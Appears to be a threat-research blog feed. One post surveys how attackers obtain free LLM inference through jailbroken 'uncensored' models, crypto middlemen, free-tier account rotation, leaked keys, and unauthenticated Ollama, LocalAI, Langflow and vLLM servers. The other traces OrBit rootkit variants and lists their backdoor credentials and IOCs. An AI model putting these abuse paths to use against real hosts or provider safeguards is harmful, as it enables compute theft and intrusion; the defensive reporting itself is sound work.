Intezer Research –

How attackers are gaining access to LLM inference

Wed, 03 Jun 2026 00:00:00 +0000

This article is based on joint research with Eran Segal, researcher at Kodem Security.

The most capable commercial AI models are now useful enough to attackers that they have become an integral part of their kill chain, in multiple steps. The Cybench benchmark tests models on offensive cyber tasks. Its current top performers (Claude Opus 4.6, Claude Sonnet 4.5, Grok 4) can write functional exploit code, reason through credential chains, and sustain complex reconnaissance workflows: multi-step offensive work that previously required human expertise. Malware families are already using this. Instead of generating a payload offline and shipping it, they wire a live LLM API into the malware itself so it can adapt its behavior at runtime on the infected host.

Commercial providers run abuse detection and terminate accounts linked to malicious activity. A payment method creates a paper trail that investigators can follow. So attackers solve the access problem the same way they solve any resource problem: they steal it, find it free, or find it unguarded.

This post covers five routes threat actors use to reach LLM inference without paying for it: buying offensive models on underground forums, using front-end models using 3rd party LLM service that allows paying in bitcoin, using free-tier or keyless public APIs, hunting for leaked API keys in developer artifacts, and exploiting self-hosted LLM servers left open on the internet.

Method 1: Offensive LLMs and Anonymous Payment

Cyber-oriented LLMs sold on underground forums are the most visible route. WormGPT, GhostGPT, KawaiiGPT, and Xanthorox are the most cited examples, covered in depth by Unit 42. These are returned open-weight models or jailbroken wrappers over commercial APIs, marketed specifically as having no content filter. They solve the moderation problem but not the cost problem: access is sold on a subscription basis, and the capability ceiling sits well below that of frontier commercial models. So they are useful for generating phishing content or simple malware stubs, but less so for the kind of autonomous multi-step offensive work that the frontier models in the Cybench ranking are capable of.

Method 2: Using Frontier Models Through a Third-Party Service

If a threat actor would like to use the frontier models to achieve top performance, they can still use these models using 3rd party services such as PayWithMoon and AIMLAPI.

These services sit between the attacker and a commercial LLM provider, accepting cryptocurrency without identity verification and then funding a legitimate provider account on the attacker’s behalf. The account itself reaches frontier models, but the funding trail stops at the middleman. The account will still get burned once abuse detection triggers, but replacing it is cheap. The upstream provider has no usable identity to pursue. This is how attackers buy frontier-model access while skipping the paper trail a normal commercial account would leave behind.

Method 3: Free-Tier and Keyless Public Inference APIs

A cheaper alternative to underground subscriptions exists in plain sight. Most major inference providers publish permanent free tiers that require nothing more than a disposable email address, and a handful of services accept requests with no credentials at all. An attacker who registers for a pool of free-tier accounts gets as meny tokens as he wishes without paying a dime.

The scale of the free-tier ecosystem is easy to measure because the community has cataloged it. Public curated lists such as cheahjs/free-llm-api-resources and mnfst/awesome-free-llm-apis explicitly filter for providers that offer a permanent (not trial-credit) free tier with no credit card. Representative entries, with numbers pulled from each provider’s own rate-limit documentation:

Groq: 30 requests/minute (RPM) on all free-tier models, with requests/day (RPD) caps ranging from 1,000 (for the 70B llama) to 14,400 (for the 8B llama).
Cerebras: 30 RPM, 14,400 RPD, and roughly 1M tokens/day on three of the four free-tier models (gpt-oss-120b, llama3.1-8b, qwen-3-235b).
Cohere: 20 RPM on the Chat API and a hard cap of 1,000 total API calls/month on a trial key.
Mistral La Plateforme: 1B tokens/month on the Experiment plan. No credit card is required, but a verified phone number is required, which is the highest sign-up friction in this group.
HuggingFace: Free accounts are rate-limited on both the Hub API and the Inference API per 5-minute window. Anonymous per-IP access exists but is stricter than the free-account path.
OpenRouter: 50 free model RPD with no deposit at all, and 1,000 RPD after a one-time $10 top-up that is never spent against model usage.
SambaNova: 20 RPM and 20 RPD, with a 200,000 tokens/day cap. The tightest daily request ceiling in this group by a wide margin.

These providers differ in rate limits, models, and throughput. What they share is that a usable credential requires nothing more than a disposable email address (a phone number in Mistral’s case) and no payment method. Credentials can simply be rotated when limits are reached.

The fully keyless end of the spectrum is thinner, but it exists. Pollinations.ai exposes an OpenAI-compatible endpoint that accepts requests with no authentication for basic use. DuckDuckGo’s Duck.ai anonymizes browser-based access to Claude 3.5 Haiku, Llama 4 Scout, Mistral Small 3, GPT-5 mini, and GPT-4o mini with no account at all. These services are not designed for bulk programmatic use, but they are reachable from any HTTP client, and the only cost is rate-limit friction.

Among the malware families in the intro table, LameHug/PROMPTSTEAL is the cleanest example of this route in the wild: it calls HuggingFace’s Inference API for Qwen 2.5-Coder-32B-Instruct to drive reconnaissance and data theft, with no embedded credentials reported by Splunk. Whether the malware carries a token or registers one at runtime is not established, but either way, the enabling property is HuggingFace’s no-credit-card free tier.

Method 4: Exposed API Keys

The fourth route to free model access doesn’t require finding an exposed server at all. Developers routinely hardcode credentials directly into apps, config files, and scripts. These credentials can be found in GitHub in open-source projects, while closed-source projects contain the credentials in the app itself. These artifacts are submitted to VirusTotal when apps are submitted for malware analysis. It can be an APK, ELF, EXE, or any type of artifact shipped with the product.

To find them systematically, we wrote a YARA rule targeting the key formats of the major AI providers: Google Gemini (AIzaSy…), OpenAI (sk-…), Anthropic (sk-ant-…), HuggingFace (hf_…), Replicate, Mistral, Cohere, Groq, and several others. We ran the rule as a retrohunting query across the VirusTotal corpus, collected the matching sample hashes, then pulled the raw files and ran a regex extraction pass to extract every key-value pair, provider, and surrounding code context. From there, we enriched each sample with VirusTotal metadata to understand detection rates and file types. The final step was validation: a lightweight GET request against each provider’s model-list or whoami endpoint. No prompts sent, just a check of whether the key authenticates.

The corpus yielded 647 unique keys across all providers. Roughly 62% were Google Gemini (AIzaSy…) keys. That concentration traces back to the Android developer ecosystem, where apps built for translation, search, or chatbot features commonly bundle the key directly in compiled resources or Java code. HuggingFace keys made up about 11%, Replicate about 8%, OpenAI sk- keys about 7%, and the remaining share was split across Voyage (5%), Mistral (3%), and Cohere (3%), with trace amounts of Anthropic, Groq, and OpenAI environment-style keys. The Mistral and Cohere keys concentrated heavily in a single file: a cracked “Collins Italian Dictionary MOD” Android APK that bundled 20 Mistral keys and 15 Cohere keys alongside 2 Gemini keys, with the small remainder scattered across two versions of a Ubisoft game APK.

About 65% of the 659 unique samples are confirmed Android by VirusTotal’s type classification. Another 18% are ZIP archives that follow the same submission pattern but were not explicitly tagged as Android. The true APK share sits between 65% and 84%. The remainder consisted of Windows PE files (5%), HTML pages, Python scripts, plain-text credential dumps, and a handful of Mach-O and ELF binaries. That Android skew isn’t surprising. APKs are frequently submitted to VirusTotal for modding and repackaging, and their keys remain intact after decompilation.

We submitted research samples to Intezer Analyze for code-based attribution, and three entries stand out. Four samples whose filenames suggested Akira ransomware are three Mimikatz binaries (1, 2, 3) and one malicious binary without family attribution, all credential-dumping tools that happened to carry API keys. The sample with a HuggingFace key is SolarMarker, an SEO-poisoning backdoor with infostealer capability. A Windows binary named SystemSettings.exe contained OpenAI, Replicate, and Voyage keys; the multi-key combination is more consistent with theft from a developer’s machine than with intentional hardcoding.

When we ran the validation, almost all the keys were dead. The revocation rate was approximately 99.5%, consistent with a corpus skewed toward older samples that had been on VirusTotal long enough to be detected, rotated, or simply expired. The small fraction that remained live consisted entirely of Google Gemini keys from Android APKs. All appeared to be genuine developer mistakes rather than exfiltrated credentials: a key embedded in a const in bundled JavaScript, one in a logging module in a compiled Android class, and one in a utility app’s APK resources. Those three keys have been reported to Google.

The method also illustrates why embedding API keys in client software is a particularly bad idea. Extracting a key from an APK requires a decompiler, and APKs have a reliable path to VirusTotal: users submit them for malware checks, repackaged versions circulate through third-party stores, and cracked builds get flagged automatically. The near-total revocation rate strongly suggests that LLM providers scan VirusTotal for their own key formats and automatically revoke matches. The three keys that were still live were all recent submissions, not yet caught by that sweep. If that pipeline exists, embedding a key in client-side code is not just a security mistake, but a futile one, and the key will likely be dead before it can be abused at scale.

The takeaway for an attacker is that hunting VirusTotal for hardcoded keys is low-effort but low-yield. The more durable access method is the exposed LLM server. A server running vLLM (a popular open-source LLM inference framework) or an open Ollama instance requires no authentication, doesn’t rotate anything while in use, and the owner usually doesn’t know it’s happening.

Method 5: Hack Public LLM Hosting Servers

Self-hosted LLM platforms make it easy to run your own models on your infrastructure, and that same ease extends to anyone who can access the port. Most ships have no authentication by default and expose administrative endpoints that let a stranger list installed models, queue inference jobs, load new models from remote URLs, or, in several cases, execute code on the host. When the server is exposed to the public internet, the attacker does not need a stolen key or a forum subscription. The victim is paying the GPU bill, carrying the API-key spend, or hosting the RCE.

We scanned roughly 4,500 hosts across eleven of them. Every service had open instances, and 14 LocalAI hosts showed active compromise based on attacker-loaded model names consistent with a single automated campaign. The sections below cover what each platform is, how exposure gets abused, and what the scan found in the wild.

Ollama

Ollama runs open-weight LLMs locally. By default, it binds to 127.0.0.1, and the authentication is disabled. But setting OLLAMA_HOST=0.0.0.0 is a common step when accessing it from another machine on the network or from a frontend app running in a separate container. It exposes all interfaces, and anyone reaching it’s port gets full API, model management, and hardware access. SentinelOne Labs and Censys already published the definitive survey, documenting 175,000+ hosts chained into anonymous AI networks for free text, embedding, and bulk content generation on victim hardware. That pattern is now commercialized by Operation Bizarre Bazaar, which sells subscription access to a unified LLM gateway fronted by stolen Ollama endpoints, turning ad-hoc LLMjacking into a growing concern.

LocalAI

LocalAI is an OpenAI API-compatible model server supporting LLMs, image generation, speech, and transcription. Authentication is disabled by default. It also supports remote model installation, P2P distributed serving, and a built-in agent platform with support for MCP. Of all the services in this research, it has the widest attack surface.

Of all the hosts scanned, 55% were confirmed open, the highest absolute count in this group. About 24% are API proxies with live upstream keys for OpenAI, Anthropic, and Google accessible to anyone who can reach the host.

The most striking finding is evidence of automated exploitation at scale. About 21% of confirmed hosts carry model names with a consistent signature tied to ProjectDiscovery’s nuclei scanner templates, with per-run timestamps mapping to late March and early April 2026. The pattern is consistent with automated scanning for an unauthenticated remote code execution path, in which a malicious URL supplied during model installation triggers server-side code execution. The exploit payload appears to load a small publicly available Italian-language model as a “hello world” confirmation, which recurs on every affected host. The markers not being cleaned up argue against mature attacker tradecraft. Operators running LocalAI can open /v1/models on their own host: any nuclei-rce-* or rce_<timestamp> identifier is not human-chosen and indicates this campaign hit them.

Langflow

Langflow is a visual builder for multi-agent AI pipelines, widely used to prototype RAG systems and chatbots. Flows routinely embed hardcoded credentials: OpenAI and Anthropic API keys, database connection strings, Slack tokens, and webhook secrets. Anyone who can reach the host and read a flow config has all of them. Unlike the previous examples, this app does not have a known major misconfiguration, but it does not prevent attackers from being able to hack and gain access to this service. For example, two unauthenticated RCE bugs make reaching the config trivial:

CVE-2025-3248: on the CISA KEV list, reliably patched only in 1.6.4+
CVE-2026-33017: fixed in 1.9.0, exploited in the wild within 20 hours of disclosure.

Every confirmed host in our scan ran a version vulnerable to CVE-2026-33017; about 72% were also vulnerable to CVE-2025-3248. Several hosts didn’t authenticate at all, with flows, credentials, and both RCE paths openly accessible. Code execution on the Langflow host is the small prize. The keys inside the flows pivot to everything the workflows connect to.

n8n

n8n is a low-code workflow automation platform with 400+ service connectors and code execution nodes (workflow steps that run arbitrary scripts). It has the strongest default auth posture of any service in this research: User Management is enforced on fresh installs.

But it does not prevent attackers from actively gaining access to n8n. Vulnerabilities such as CVE-2026-21858 (“Ni8mare”, CVSS 10.0, fixed in 1.121.0), which is a vulnerability in the web hooks request handling that turns exposed endpoints into a full unauthenticated RCE surface via content-type confusion, with a public PoC already out. Prior research estimates the exposed n8n population at tens of thousands of hosts.

The post-exploitation story mirrors Langflow. Workflows carry hardcoded API keys, database connection strings, and webhook secrets. RCE on the n8n host effectively gives access to every system the automations touch.

vLLM

vLLM is a high-throughput LLM serving engine with GPU acceleration, commonly used to self-host open-weight models in production. It exposes an OpenAI-compatible REST API. Authentication requires an explicit --api-key flag; without it, the API is open.

The interesting finding from our scan was not vLLM itself but the adjacent deployments surfaced by the same query: OpenAI-compatible HTTP proxies, specifically LiteLLM-style gateways that aggregate multiple paid providers behind a single endpoint. These proxies store live API keys for OpenAI, Anthropic, Google, Groq, and Cohere. None had protection on the model list endpoint. One host exposed 35 models across multiple providers; several listed exclusively Anthropic Claude models. A proxy returns a model list only when the upstream provider authenticates, so every successful response confirms the underlying keys are live and billable.

The abuse path is trivial: point any standard OpenAI SDK client at the proxy, enumerate the models, and, on hosts where prompt submission is also unprotected, send requests billed to the operator’s accounts. It is the same credential-pivot pattern as Langflow and n8n.

ComfyUI

ComfyUI is a node-based workflow UI for Stable Diffusion, video generation, and multimodal image models. It runs on high-end GPU hardware with no authentication by default, making it a direct target for attackers looking to steal GPU compute.

Our scan found open instances across a wide range of versions (v0.2.2 to 0.19.0), all of which were fully unauthenticated. The hardware exposure is the headline finding. Open hosts reported a combined ~4.3 TB of GPU VRAM, with cards ranging from RTX 4090s and RTX 5090s to datacenter-grade A100S and L40S units, each worth tens of thousands of dollars. An attacker can queue generation jobs against any of them at no cost.

Beyond compute theft, 95% of open hosts expose a job history endpoint that leaks previously executed workflows, local file paths, and prior user content. About 12% advertise URL-loading nodes that act as server-side request forgery primitives: usable for internal network reconnaissance or cloud metadata credential theft.

llama.cpp server

llama-server is the HTTP server shipped with llama.cpp, commonly used to serve a single open-weight model in production. It has no authentication by default, no access controls on the inference endpoint, and a metadata endpoint that advertises exactly what the host is running. Anyone who reaches the port can submit prompts, watch active jobs, and burn the operator’s GPU on their own workload. Classic LLMjacking, with the bonus of knowing exactly which model they are running.

Of scanned hosts, 59% were confirmed open, more than any other platform in the scan. Everyone exposed its model name and hardware configuration, and about 37% also leaked real-time job state, confirming the host was actively serving users at the time of the scan. The models observed were standard open-weight builds rather than anything exotic, which is the point. An attacker is not looking for a rare model, just an unattended GPU.

Jan

Jan is an Electron desktop AI app with an optional OpenAI-compatible API server on port 1337. When enabled, it binds to all interfaces with no authentication. Jan is a useful example of how exposure surfaces unexpected content rather than how common it is. Our scan confirmed only two genuine Jan hosts. Both had gone offline by the rescan a week later. While one was live, it exposed a 35-model library that included miqu-70b; a leaked Mistral Medium prototype that was never officially released. When a desktop app binds its API server to the public internet, whatever model (or file path metadata) sits on the operator’s disk becomes visible.

Gradio

Gradio is a Python framework for building ML demo apps: image classifiers, code interpreters, document Q&A, or anything a researcher can wrap in a web UI. Exposure risk depends entirely on what the underlying app does. A sentiment-analysis demo is low-stakes. An app that accepts file uploads, runs user code, or queries a database is a direct path to exploitation. The Gradio queue keeps processing submitted requests whether the operator is watching or not, so abuse can run quietly for days.

Three unauthenticated bugs make unpatched instances worse:

CVE-2024-1561: arbitrary file read, fixed in 4.13.0
CVE-2024-0964: path traversal, fixed in 4.9.0
CVE-2024-47084: CORS validation bypass, fixed in 4.44.0; a malicious website can reach a locally running Gradio server while the victim is still logged in

Ranking the Five Routes

Each route carries operational trade-offs. The table below scores each on five dimensions, ranging from 0 (least favorable) to 5 (best for attacking): non-resistance (refusal behavior in response to offensive prompts), model capability (coding ability and parameter count), tool and MCP support, and effective token quota.

Route	Non-resistant model	Model capability	Tool / MCP support	Token quota	Cost
Offensive LLMs (WormGPT, GhostGPT, crypto middlemen)	5	3	5	2	2
Crypto payment for frontier	2	5	5	5	3
Free-tier and keyless public APIs	2	4	4	3	5
Stolen or leaked API keys	1	4	5	1	5
Exposed LLM servers	5	3	3	5	5

Offensive LLMs score highest on non-resistance. But the underground-forum variants sit well below frontier models in capability and tool support, and subscriptions cap the quota. The crypto-middleman variant reaches frontier models via real provider accounts, but those accounts burn quickly once abuse is detected.

Crypto payment for frontier models is for sure the best way to gain access for the most capable models with the ability to connect the model to any interface, such as MCPs, but it comes with some risks that the model might resist the action or the user will be blocked.

Free-tier and keyless public APIs score well in capability and tool support, with full-function calling across most providers. The per-account quota is modest, tens of RPM, thousands of RPD, but trivial account rotation pushes the effective quota well above the face value.

Stolen or leaked API keys, in principle, offer the best combination of capability and tool support; the retrohunt’s 0.5% live rate shows the real-world quota is near zero.

Exposed LLM servers score highest on non-resistance and token quota. Non-resistance is unconstrained: the attacker controls model selection, and our scan found at least one LM Studio host actively serving llama3.3-8b-instruct-thinking-heretic-uncensored-claude-4.5-opus-high-reasoning-i1. Token quota is equally unconstrained, bounded only by the victim’s hardware rather than a billing cap. Capability and tool support vary by host, but that variance is what makes the route durable at scale. No individual host needs to run a frontier model.

The scoring explains why exposed servers are the most durable route, even though they don’t top every dimension. They are the only route where non-resistance and token quota both max out. The other three are each compromised on at least one of those two axes.

Cases Found in the Wild

Threat actors are now wiring malware to live LLM APIs, using them to generate malicious logic at runtime rather than embedding static code in the payload. Instead of scripting separate execution flows for different host conditions, the malware queries an LLM while running, determines whether the target appears to be a personal machine, a server, or an industrial controller, and then generates tailored commands or code accordingly. This shift matters because dynamically generated logic has no fixed signature to detect. Researchers have identified five malware families doing this.

Malware name	Capabilities	AI Provider	Runtime model source
MalTerminal	Reverse shell or ransomware generation	OpenAI GPT-4 (deprecated chat completions endpoint)	Hardcoded API key
LameHug/PROMPTSTEAL	Reconnaissance and infostealer	`Qwen 2.5-Coder-32B-Instruct` via HuggingFace	Public HuggingFace Inference API (no embedded key observed)
Ransomware 3.0/PROMPTLOCK	Ransomware with exfiltration and wipe capability	`gpt-oss-20b`	Local Ollama API on the infected host
PROMPTFLUX	Dropper with AI-driven polymorphism	Google Gemini (`gemini-1.5-flash-latest`)	Hardcoded API key
QUIETVAULT	GitHub/NPM token stealer that uses AI to find additional secrets	Whatever AI CLI is installed on the victim (provider not named)	AI CLI tools already on the infected host

MalTerminal and PROMPTFLUX both use a hardcoded API key to connect to a commercial provider when needed. MalTerminal uses OpenAI GPT-4 via the now-retired chat-completions endpoint to create reverse shells or ransomware. PROMPTFLUX connects to Google gemini-1.5-flash-latest to rewrite its own VBScript source code between runs, making it harder to detect.

LameHug, also known as PROMPTSTEAL, uses HuggingFace’s Inference API to run Qwen 2.5-Coder-32B-Instruct for Windows commands to support reconnaissance and data theft. HuggingFace requires an API token for each request, but free accounts don’t need a payment method and allow a few hundred requests per hour per API token. Attackers can easily create and rotate these API tokens, giving them the same access as stolen keys but with less hassle.

PROMPTLOCK is a proof-of-concept AI-powered ransomware prototype, often called “Ransomware 3.0,” developed by researchers at NYU’s Tandon School of Engineering. The Go binary invokes gpt-oss-20b via a local Ollama API running on the infected host to generate Lua scripts that perform file listing, encryption, exfiltration, and (unfinished) wipe logic. This is a bring-your-own-model: no outbound calls, no provider-side billing trail, and no way to scale beyond the victim’s own hardware.

QUIETVAULT is a credential-theft variant. The JavaScript stealer exfiltrates GitHub and NPM tokens to an attacker-controlled GitHub repo and then hands off the filesystem search for additional secrets to whatever AI CLI is already installed on the victim, so the stolen credentials are an active on-host AI session rather than a bare API key.

Looking at the four main routes discussed in this post, LameHug/PROMPTSTEAL is the best example of the free-tier method, since it calls HuggingFace’s Inference API directly. MalTerminal and PROMPTFLUX both use hardcoded API keys, but it’s unclear where those keys came from, so they could fit into the free-tier, crypto-middleman, or stolen-keys categories. QUIETVAULT is a twist on the stolen-credential method, using an on-host AI session instead of just a key. PROMPTLOCK is different because it uses a local model and only works on one victim at a time, so it doesn’t fit into the four main routes and isn’t discussed further.

Conclusion

Across four routes: offensive LLMs for sale, free-tier and keyless public APIs, hardcoded keys in distributed artifacts, and exposed LLM servers on victim infrastructure, the most durable access is the last one. The precondition for abuse is almost never a sophisticated exploit. It is an unauthenticated port facing the internet.

AI is the defining technology of this moment. It extends what a single person or small team can do and accelerates work that used to take weeks. AI is being integrated into more and more areas, from personal agents and email writing to some vulnerability research. The wow factor is real. But an LLM server is still a service running on a host. It listens on a port, speaks a protocol, and has an attack surface. The failure modes in this report; misconfiguration, leaked credentials, unpatched CVEs, open ports, are the same ones that produced years of incidents on Docker, Kubernetes, cloud storage, Redis, Elasticsearch, and bare Linux servers. The tooling is new. The mistakes are not.

Two things follow. The operator is still responsible for the basics: authenticate the service, keep it off the public internet unless there is a reason to expose it, patch the known CVEs, and audit what is running. These are not AI-specific requirements. They are the same ones we have been making for every networked service. An exposed Ollama instance serving a stranger’s prompts is not a failure of the model or the vendor that shipped it. It is a failure of whoever put it on the internet without a password. You broke it. You pay for it.

IOCs

SHA-256	Payload
`ecd3b1a0e4832f1dc72be84c3c838ae4e29637c1cff4bfa70649cda90fa7a8ce`	Mimikatz binaries (carrying AI API keys)
`153d7cdca3cb96023a2ee8e3de49b29ced60ffc865da04c3c6ef2b445b056d8f`
`0c1a409dd791ee8f7e157c455d9c35671bd81d17b562c7acd73f9f26401533ba`
`a9dc00aeae6c245d76d873e675b555f044ecf94a5ece031a1e6ca30223beb905`	Malicious binary without family attribution (carrying AI API keys)
`99308a3f00490e8138974faafa3ea5ae089459b2500e097ccc0ed042b6a0c2af`	SolarMarker (HuggingFace key)
`796e81c1b31f443ab3437663af97fe41b25bbf8ab7abcd0637238a568b66aa9d`	`SystemSettings.exe` (OpenAI, Replicate, Voyage keys)

OrBit (Re)turns: Tracking an Open-Source Linux Rootkit Across Four Years of Forks and Deployments

Thu, 14 May 2026 00:00:00 +0000

Introduction

In July 2022, we published the first analysis of OrBit, a then-undocumented Linux userland-rootkit that stood out for its comprehensive libc hooking, SSH backdoor access, and PAM-based credential harvesting. At the time, OrBit appeared as a single sample with a single operator fingerprint, and the codebase itself looked customized.

It wasn’t. As we will show below, OrBit is a repackaged and selectively weaponized build of Medusa, an open-source LD_PRELOAD rootkit published on GitHub in December 2022. The story of OrBit’s four-year evolution is not one of novel development; it’s the story of how a publicly available rootkit was forked, configured, and redeployed.

Nearly four years later, OrBit is still in the wild, and it has not stood still. Hunting across VirusTotal, we pulled more than a dozen samples spanning 2022 through 2026 and walked each one through static and differential analysis. What we discovered is not a single evolving binary but two parallel lineages: a full-featured “Lineage A” build that tracks closely with the 2022 original, and a lite “Lineage B” fork that drops entire capability domains (PAM, pcap, TCP-port hiding) in exchange for a smaller footprint. Along the way, the operators rotate XOR keys, shuffle install paths, swap backdoor credentials, add auditd-evasion hooks, and eventually bolt on a service-side PAM impersonation primitive.

This blog picks up where the 2022 analysis left off. We focus on what changed, when, and why it matters for defenders. For each epoch, we enumerate the samples, call out the lineage, and break down the meaningful changes: credential changes, hook-set diffs, new evasion behavior, and operator tradecraft.

Background: What is OrBit?

For readers unfamiliar with the original analysis, OrBit is a Linux userland-rootkit deployed as a shared library (.so) that achieves persistence by patching the dynamic linker, specifically modifying ld.so to ensure the malicious library is loaded into every process on the system. It operates as a passive implant with no command-and-control communication; instead, the attacker connects in through an SSH backdoor. Once installed, OrBit hooks into PAM functions to harvest credentials from SSH and sudo authentication attempts, storing the captured passwords locally.

Its evasion capabilities are comprehensive, hooking over forty libc functions to hide files, processes, and network connections from administrators and security tools alike. The malware stores its harvested credentials and configuration data in /lib/libntpVnQE6mk/, a directory that remains invisible to standard enumeration thanks to the rootkit’s own hooks.

July 2002

Hash	XOR	Working dir	SSH Username	SSH Password	# Exports	# Hooks	Dropper
`40b5127c`	0xA2	`/lib/libntpVnQE6mk/`	`2l8`	`c4ss0ul3tt3`	66	54	`f1612924`

We will refer to this variant as Lineage A “Full” build of OrBit.

OrBit Variants Through The Years

In our research, we collected samples from VirusTotal. Unlike PE files, ELF files don’t include a compilation timestamp, so we started by aggregating the samples by the date they were submitted to VirusTotal. To track the samples on the blog, we use the first 8 characters of each sample’s SHA-256. At the bottom of the blog, you can find the full list of IOCs.

December 2022

The first version shows a slight change: the username and password for the SSH connection, and the exported functions. Credential mechanism shift: 40b5127c resolved the backdoor username dynamically via the getpwuid hook; ec7462c3 dropped that hook entirely and hardcodes adm1n directly in the XOR-encrypted string table. The working folder was changed to libseconf. For the most part, the later variants will use this path.

All other capabilities are identical: file I/O interception, stat hiding, PAM credential capture, TCP port hiding (alloc_tcp_ports/remove_port/tcp_port_hidden), load monitoring (.showload/.maxload), pcap sniffing, LD_PRELOAD management, log suppression, and process hiding.

The transition from 2022 to 2023 is essentially a redeployment with new credentials and a more convincing install path, plus a minor simplification (dropping dynamic UID lookup in favor of a hardcoded username).

The rootkit’s hook surface stayed stable.

Hash	XOR	Working dir	SSH Username	SSH Password	# Exports	# Hooks	Dropper
`ec7462c3`	0xA2	`/lib/libseconf/`	`adm1n`	`asdfasdf`	67	53	`8ea420d9`

Samples From 2023

Hash	XOR	Working dir	SSH Username	SSH Password	# Exports	# Hooks	Dropper
`d419a9b1`	0xA2	`/lib/fuckwhitehatshome/`	`fuckwhitehatsuser`	`fuckwhitehatspass`	67	53
`296d28eb`	0xA2	`/lib/libseconf/`	`adm1n`	`asdfasdf`	65	54
`3ba6c174`	0xA2	`/lib/libseconf/`	`adm1n`	(not present)	54	49	`26082cd3`
`4203271c`	0xA2	`/lib/libseconf/`	`b4ph0m3t0`	(not present)	54	49

The d419a9b1 sample stands out for the operator’s choice of the install path (/lib/fuckwhitehatshome/) and the SSH username and password. No other known samples use these strings, suggesting a different operator or persona authored this particular build rather than it simply being a different deployment of the same toolkit. Functionally, it carries the full 2022-era hook set, with 65 exports.

The 296d28eb sample is a full-featured build that uses the libseconf path and the same SSH credentials as ec7462c3. But this sample also has an evolutionary step: dropped TCP port hiding, added the exported xread function. This is not an LD_PRELOAD hook on a system library; it’s a wrapper that calls syscall(SYS_read) directly, bypassing the rootkit’s own hooked read().

The rootkit hooks the libc read() function; the hook filters out rootkit artifacts from files such as/proc/net/tcp and directory listings. Some C programs, such as Git, define their own internal xread() helper that wraps read() to handle partial reads and EINTR. Normally, these internal helpers call libc read(), which the rootkit intercepts and filters. By exporting its own xread, which directly calls syscall (SYS_read), the rootkit shadows these program-internal helpers with a version that bypasses its own read hook entirely. This is a compatibility fix: without it, any program that defines xread would receive the rootkit’s filtered output through its core I/O path, potentially corrupting SSH protocol streams, breaking git operations, or causing other malfunctions that could expose the rootkit’s presence. The hook ensures that programs continue to function normally while the rootkit’s read interception remains active for standard libc callers.

This variant is still part of Lineage A.

00417249 uint64_t xread(int32_t fd, int64_t buf, int32_t count)

00417249 {
00417249 int32_t i = count;
0041725b int32_t bytes_read = 0;
00417262 int32_t var_c = 0;
00417262
004172ad do
004172ad {
0041728a // SYS_read
0041728a int32_t read_result = syscall(0, (uint64_t)fd, buf, (uint64_t)i);
0041728a
00417296 if (read_result <= 0)
00417298 return (uint64_t)bytes_read;
00417298
004172a0 bytes_read += read_result;
004172a6 i -= read_result;
004172ad } while (i > 0);
004172ad
004172af return (uint64_t)bytes_read;
00417249 }

3ba6c174 / 4203271c: Lineage B lite build

Both files, 3ba6c174 and 4203271c, represent the first appearance of Lineage B, a deliberately lite fork of the OrBit rootkit. Both are dynamically linked shared objects using the standard 0xA2 XOR key and installed in /lib/libseconf/, but they export only 54 functions, compared to the 67 in their closest Lineage A contemporaries (d419a9b1, ec7462c3). The 13 removed exports strip out three entire capability domains: network port-hiding (alloc_tcp_ports, remove_port, tcp_port_hidden, clean_ports), PAM credential interception (pam_authenticate, pam_acct_mgmt, pam_open_session, pam_get_password), and packet capture (pcap_loop, pcap_packet_callback). The string table reflects this (.logpam and .udp are absent), though .ports, .hosts, and sshpass2.txt are retained. This reduced feature set suggests they were purpose-built for different target environments where a smaller footprint or more limited functionality was either sufficient or preferred.

The most notable change is the complete absence of a backdoor password. Every Lineage A sample embeds a password in its XOR-encrypted string block, but in both 3ba6c174 and 4203271c, the password field is missing. Each sample carries a distinct username (adm1n and b4ph0m3t0, respectively), and these are the only byte-level differences between the two binaries. This pattern of 54 exports, no password, no PAM/pcap hooks, held consistent across all subsequent Lineage B samples through 2024.

Samples From 2024

Hash	XOR	Working dir	SSH Username	SSH Password	# Exports	# Hooks	Dropper
`eea274ed`	0xAA	`/lib64/libseconf/`	`Y0u4reCu6e`	`1qaz@WSX3edc123`	66	54
`a6138638`	0xAA	`/lib/locate/`	`Y0u4reCu6e`	`1qaz@WSX3edc123`	66	54
`a34299a1`	0xA2	`/lib/libseconf/`	`rebel`	(not present)	56	49
`b1dd18a6`	0xA2	`/lib/libseconf/`	`Gestuff`	(not present)	54	49	`fc2e0cb6`
`989f7eb4`	0xA2	`/lib/libseconf/`	`adm1n`	(not present)	54	49	`48a68d05`

2024 is the most diverse epoch in OrBit’s timeline, with both lineages active simultaneously and an encryption key change in the Lineage A branch.

eea274ed / a6138638: Lineage A, 0xAA key rotation

These two samples belong to the same lineage: identical XOR key (0xAA is a break from the long-standing 0xA2), identical credentials (Y0u4reCu6e / 1qaz@WSX3edc123), and identical hook count (54). The only structural difference is the install path: /lib64/libseconf/ versus /lib/locate/. This is probably a deliberate path rotation to evade detections anchored on the previously documented /lib/libseconf/ directory. Credentials are stored inline in the XOR-encrypted block rather than written to sshpass.txt, representing a shift in the credential storage model. Both samples also have a reduced hook for the’ execve’ function: the execve hook handles persistence maintenance (apt/yum), output sanitization (dmesg), and ldd defeat. Compared to other samples in the lineage, it is a reduced feature set: no strace interception, no IP/iptables hooks, no command logging.

Despite sharing the same hook count, the two samples do not share the same hook set. a6138638 swaps read/write for readdir_r/readdir64_r, indicating a targeted adjustment to the directory-hiding mechanism. A string-level diff reveals more changes:

Credential harvesting is saved in remote.txt.
This variant captures only SSH logins, not sudo sessions ([sudo] pass is missing).

The result is 52 decoded XOR strings in eea274ed versus 47 in a6138638. Both samples retain .udp, .pts, and the credential pair, preserving the core backdoor functionality. The removals target logging and forensic-capture features, suggesting a6138638 was tailored for a deployment where a lighter footprint was preferred.

a34299a1 / b1dd18a6 / 989f7eb4: Lineage B continuation

These samples continue the 54-export lite build lineage that first appeared in 2023 with 3ba6c174/4203271c. The hook set is identical (49 hooks), the XOR key remains 0xA2, and the same capability domains are absent: no PAM credential interception, no pcap sniffing, no TCP port hiding. The password field is still missing from the binary. Each sample carries a distinct username (rebel, Gestuff, adm1n, respectively), consistent with the Lineage B pattern of per-deployment username rotation, with no corresponding password.

989f7eb4 is the payload extracted from the 48a68d05 dropper. It was not on VT; we uploaded it.

Samples From 2025

Hash	XOR	Working dir	SSH Username	SSH Password	# Exports	# Hooks	Role
`8e83cbb2`	0xA2	`/lib/libseconf/`	`infinity`	`302010`	66	54	payload .so
`2b2eeb22`	0xA2	`/lib/libseconf/`	`adm1n`	`asdfasdf`	64	54	payload .so (extracted from `d3d204c1`)
`84828f31`	0xA2	`/lib/libseconf/`	`adm1n`	`asdfasdf`	64	54	truncated copy of `2b2eeb22`
